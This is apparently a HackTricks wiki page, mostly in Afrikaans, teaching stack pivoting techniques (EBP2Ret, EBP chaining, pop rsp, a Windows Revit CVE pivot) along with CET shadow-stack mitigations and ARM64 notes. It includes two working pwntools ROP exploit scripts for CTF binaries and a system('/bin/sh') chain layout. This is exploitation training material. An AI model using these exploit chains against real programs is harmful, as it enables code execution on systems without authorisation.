Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 15 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Hierdie tegniek benut die vermoë om die Base Pointer (EBP/RBP) te manipuleer om die uitvoering van verskeie funksies aaneen te skakel deur noukeurige gebruik van die frame pointer en die leave; ret instruksie-sekwensie.

Ter herinnering, op x86/x86-64 is leave ekwivalent aan:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

En aangesien die gespaarde EBP/RBP in die stack is voor die gespaarde EIP/RIP, is dit moontlik om dit te beheer deur die stack te beheer.

Aantekeninge

  • Op 64-bit, vervang EBP→RBP en ESP→RSP. Die semantiek is dieselfde.
  • Sommige compilers laat die frame pointer weg (sien “EBP might not be used”). In daardie geval mag leave nie verskyn nie en sal hierdie tegniek nie werk nie.

EBP2Ret

Hierdie tegniek is besonders nuttig wanneer jy die gespaarde EBP/RBP kan wysig maar geen direkte manier het om EIP/RIP te verander nie. Dit maak gebruik van die funksie-epiloog se gedrag.

If, during fvuln's execution, you manage to inject a fake EBP in the stack that points to an area in memory where your shellcode/ROP chain address is located (plus 8 bytes on amd64 / 4 bytes on x86 to account for the pop), you can indirectly control RIP. As the function returns, leave sets RSP to the crafted location and the subsequent pop rbp decreases RSP, effectively making it point to an address stored by the attacker there. Then ret will use that address.

Let daarop dat jy 2 adresse moet ken: die adres waarheen ESP/RSP gaan wys, en die waarde wat by daardie adres gestoor is wat ret sal gebruik.

Exploit Construction

Eers moet jy ’n adres ken waar jy arbitrĂȘre data/adresse kan skryf. RSP sal hierna wys en die eerste ret gebruik.

Dan moet jy die adres kies wat deur ret gebruik sal word om die uitvoering oor te dra. You could use:

  • A valid ONE_GADGET address.
  • The address of system() followed by the appropriate return and arguments (on x86: ret target = &system, then 4 junk bytes, then &"/bin/sh").
  • The address of a jmp esp; gadget (ret2esp) followed by inline shellcode.
  • A ROP chain staged in writable memory.

Onthou dat voor enige van hierdie adresse in die beheerarea, daar ruimte moet wees vir die pop ebp/rbp van leave (8B op amd64, 4B op x86). Jy kan hierdie bytes misbruik om ’n tweede fake EBP te stel en beheer te behou nadat die eerste oproep terugkeer.

Off-By-One Exploit

Daar is ’n variant wat gebruik word wanneer jy slegs die minste betekenisvolle byte van die gespaarde EBP/RBP kan wysig. In so ’n geval moet die geheue-lokasie wat die adres stoor waarheen met ret gespring word, die eerste drie/vyf bytes met die oorspronklike EBP/RBP deel sodat ’n 1-byte oor-skrywing dit kan herlei. Gewoonlik word die laagste byte (offset 0x00) verhoog om so ver as moontlik binne ’n nabygeleĂ« page/uitgelyne streek te spring.

Dit is ook algemeen om ’n RET sled in die stack te gebruik en die werklike ROP-ketting aan die einde te sit om dit meer waarskynlik te maak dat die nuwe RSP binne die sled wys en die finale ROP-ketting uitgevoer word.

EBP Chaining

Deur ’n beheerste adres in die gespaarde EBP-gleuf van die stack te plaas en ’n leave; ret gadget in EIP/RIP, is dit moontlik om ESP/RSP na ’n deur die aanvaller-beheerde adres te skuif.

Nou is RSP beheer en die volgende instruksie is ret. Plaas in die beheerste geheue iets soos:

  • &(next fake EBP) -> Gelaai deur pop ebp/rbp van leave.
  • &system() -> Aangeroep deur ret.
  • &(leave;ret) -> Nadat system eindig, skuif dit RSP na die volgende fake EBP en gaan voort.
  • &("/bin/sh") -> Argument vir system.

Op hierdie manier is dit moontlik om verskeie fake EBPs aan mekaar te koppel om die programvloei te beheer.

Dit is soos ’n ret2lib, maar meer kompleks en slegs nuttig in randgevalle.

Boonop het jy hier ’n example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 alignment tip: System V ABI vereis 16-byte stack alignment by call sites. As jou chain funksies soos system aanroep, voeg 'n alignment gadget (bv. ret, of sub rsp, 8 ; ret) voor die oproep by om alignment te handhaaf en movaps crashes te vermy.

EBP mag dalk nie gebruik word nie

As explained in this post, if a binary is compiled with some optimizations or with frame-pointer omission, the EBP/RBP never controls ESP/RSP. Therefore, any exploit working by controlling EBP/RBP will fail because the prologue/epilogue doesn’t restore from the frame pointer.

  • Nie geoptimaliseer nie / frame pointer used:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Geoptimaliseer / frame pointer weggelaat:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Op amd64 sien jy dikwels pop rbp ; ret in plaas van leave ; ret, maar as die raamwyser heeltemal weggelaat word, is daar geen rbp-gebaseerde epiloog waardeur gepivot kan word nie.

Ander maniere om RSP te beheer

pop rsp gadget

In this page kan jy 'n voorbeeld vind wat hierdie tegniek gebruik. Vir daardie uitdaging moes 'n funksie met 2 spesifieke argumente aangeroep word, en daar was 'n pop rsp gadget en daar is 'n leak from the stack:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Kyk na die ret2esp-tegniek hier:

Ret2esp / Ret2reg

Pivot gadgets vinnig vind

Gebruik jou gunsteling gadget finder om te soek na klassieke pivot primitives:

  • leave ; ret on functions or in libraries
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (or add esp, <imm> ; ret on x86)

Voorbeelde:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Klassieke pivot-staging patroon

'n robuuste pivot-strategie wat in baie CTFs/exploits gebruik word:

  1. Gebruik 'n klein aanvanklike overflow om read/recv na 'n groot skryfbare area (e.g., .bss, heap, or mapped RW memory) te roep en plaas 'n volledige ROP chain daar.
  2. Keer terug na 'n pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) om RSP na daardie area te skuif.
  3. Gaan voort met die staged chain (e.g., leak libc, call mprotect, then read shellcode, then jump to it).

Windows: Destructor-loop weird-machine pivots (Revit RFA gevallestudie)

Client-side parsers implementeer soms destructor loops wat indirek 'n function pointer roep wat afgelei is van attacker-controlled object fields. As elke iterasie presies een indirecte oproep bied (a “one-gadget” machine), kan jy dit omskakel in 'n betroubare stack pivot en ROP entry.

Waargenome in Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Geskepte objects van tipe AString plaas 'n pointer na attacker bytes by offset 0.
  • Die destructor loop voer effektief een gadget per object uit:
asm
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Twee praktiese pivots:

  • Windows 10 (32-bit heap addrs): misaligned “monster gadget” wat 8B E0 bevat → mov esp, eax, uiteindelik ret, om van die call primitive na ’n heap-based ROP chain te pivot.
  • Windows 11 (full 64-bit addrs): gebruik twee objects om ’n constrained weird-machine pivot aan te dryf:
  • Gadget 1: push rax ; pop rbp ; ret (skuif oorspronklike rax na rbp)
  • Gadget 2: leave ; ... ; ret (word mov rsp, rbp ; pop rbp ; ret), wat pivot na die eerste object se buffer, waar ’n konvensionele ROP chain volg.

Wenke vir Windows x64 na die pivot:

  • Respekteer die 0x20-byte shadow space en behou 16-byte uitlyning vóór call sites. Dit is dikwels handig om literals bo die return address te plaas en ’n gadget te gebruik soos lea rcx, [rsp+0x20] ; call rax gevolg deur pop rax ; ret om stack-adresse deur te gee sonder om control flow te korrupteer.
  • Non-ASLR helper modules (indien aanwezig) bied stabiele gadget pools en imports soos LoadLibraryW/GetProcAddress om dinamies te resolve teikens soos ucrtbase!system.
  • Skep ontbrekende gadgets via ’n writable thunk: as ’n belowende volgorde eindig in ’n call deur ’n writable function pointer (bv. DLL import thunk of function pointer in .data), oor skryf daardie pointer met ’n onskadelike enkele-stap soos pop rax ; ret. Die volgorde tree dan op asof dit met ret geĂ«indig het (bv. mov rdx, rsi ; mov rcx, rdi ; ret), wat uiters waardevol is om Windows x64 arg-registers te laai sonder om ander te klobber.

Vir volledige chain konstruksie en gadget-voorbeelde, sien die verwysing hieronder.

Moderne mitigasies wat stack pivoting breek (CET/Shadow Stack)

Moderne x86 CPUs en OS'e gebruik toenemend CET Shadow Stack (SHSTK). Met SHSTK geaktiveer, vergelyk ret die return address op die normale stack met ’n hardware-beskermde shadow stack; enige afwyking veroorsaak ’n Control-Protection fout en beĂ«indig die proses. Daarom sal tegnieke soos EBP2Ret/leave;ret-gebaseerde pivots crash sodra die eerste ret vanaf ’n gepivoteerde stack uitgevoer word.

  • For background and deeper details see:

CET & Shadow Stack

  • Vinnige kontroles op Linux:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Aantekeninge vir labs/CTF:

  • Sommige moderne distro's skakel SHSTK vir CET-gekoppelde binaries in wanneer die hardeware en glibc-ondersteuning beskikbaar is. Vir beheerde toetse in VMs kan SHSTK stelselwyd gedeaktiveer word via die kernel boot-parameter nousershstk, of selektief ingeskakel word via glibc tunables tydens opstart (sien verwysings). Moet nie mitigasies op produksiedoelwitte deaktiveer nie.

  • JOP/COOP of SROP-gebaseerde tegnieke mag steeds op sommige teikens werk, maar SHSTK breek spesifiek ret-gebaseerde pivots.

  • Windows-opmerking: Windows 10+ stel user-mode bloot en Windows 11 voeg kernel-mode “Hardware-enforced Stack Protection” by, gebou op shadow stacks. CET-compatible prosesse voorkom stack pivoting/ROP by ret; ontwikkelaars kies in via CETCOMPAT en verwante beleide (sien verwysing).

ARM64

In ARM64 stoor en haal die proloog en epiloë van funksies nie die SP-register op die stapel nie. Daarbenewens keer die RET-instruksie nie terug na die adres waarna SP wys nie, maar na die adres binne x30.

Therefore, by default, just abusing the epilogue you won't be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.

  • prologue
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

Die manier om iets soortgelyks aan stack pivoting in ARM64 te doen, sou wees om die SP te kan beheer (deur 'n register te beheer waarvan die waarde aan SP oorgedra word of omdat om een of ander rede SP sy adres vanaf die stapel neem en ons 'n overflow het) en dan die epiloog te misbruik om die x30-register van 'n beheerede SP te laai en daarna na dit te RET.

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks